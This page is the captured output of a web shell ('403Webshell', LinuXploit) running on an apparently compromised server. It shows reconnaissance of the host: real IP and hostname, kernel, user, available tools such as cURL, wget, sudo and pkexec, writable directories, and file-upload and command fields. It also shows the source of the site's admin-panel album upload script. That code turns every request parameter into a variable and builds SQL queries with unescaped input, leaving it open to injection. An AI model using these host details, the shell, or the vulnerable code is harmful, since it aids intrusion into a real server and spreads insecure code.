403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rsdgroup/adminPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rsdgroup/adminPanel/write_album.php
<?php
include_once("session.php");
include_once("settings.php");

/*echo "<pre>";
print_r($_REQUEST);
echo "</pre>";
die;*/

foreach ($_REQUEST as $key => $value) {
	$$key = $value;
}


if($editAlbumName == 'edit'){
	$sql = "UPDATE `tblalbum` SET `albumName` = '".mysql_real_escape_string($albumNameEdit)."' WHERE `id` = ".$editAlbumId." ";
	$result			=	mysql_query($sql) or die(mysql_error());
}


$fileName = 'albumImage';
if(($albumName == '0') AND ($albumName1 != '')){
	$sqlAlbuName	=	"INSERT INTO `tblalbum` (`albumName` ,`createdOn` ,`isDeleted`) VALUES ('".mysql_real_escape_string($albumName1)."', unix_timestamp(), 'Activate')";
	$result			=	mysql_query($sqlAlbuName) or die(mysql_error());
	$lastId			=	mysql_insert_id();
}
else{
	$lastId			=	$albumName;
}

if ($_FILES[$fileName]["error"] == 0) {
	$tmp_name = $_FILES[$fileName]["tmp_name"];
	$photoName = $_FILES[$fileName]["name"];
	$photoName = ereg_replace("[^A-Za-z0-9.]", "", $photoName);
	$photoNameArr = explode(".",$photoName);
	$fileExt = strtolower($photoNameArr[count($photoNameArr)-1]);
	unset($photoNameArr[count($photoNameArr)-1]);
	$photoNameWithoutExt = implode("_",$photoNameArr);
	$img1New = $fileName.time().".".$fileExt;
	if($fileExt == "png" || $fileExt == "jpg" || $fileExt == "jpeg" || $fileExt == "gif" ){
		$img1New			=	$img1New;
		move_uploaded_file($tmp_name, "../cat_images/media/pics/".$img1New.""); 
		$img =  $img1New ;
		$type = 'pic';
	}
	else{  $img =''; ?>
		<script>
		document.location="album_list.php?page=listalbum"
		</script>
	<?php }
}
else{ ?>
	<script>
		document.location="album_list.php?page=listalbum"
	</script>
<?php }

$sql	=	"INSERT INTO `tblPhoto` (`albumId`,`media`, `type`, `isDeleted`, `createdOn`, `createdBy`) VALUES ('".$lastId."','".$img."', '".$type."', 'no', unix_timestamp(), 'admin')";
$result=mysql_query($sql) or die(mysql_error());
?>
<script>
	document.location="album_list.php?page=listalbum"
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit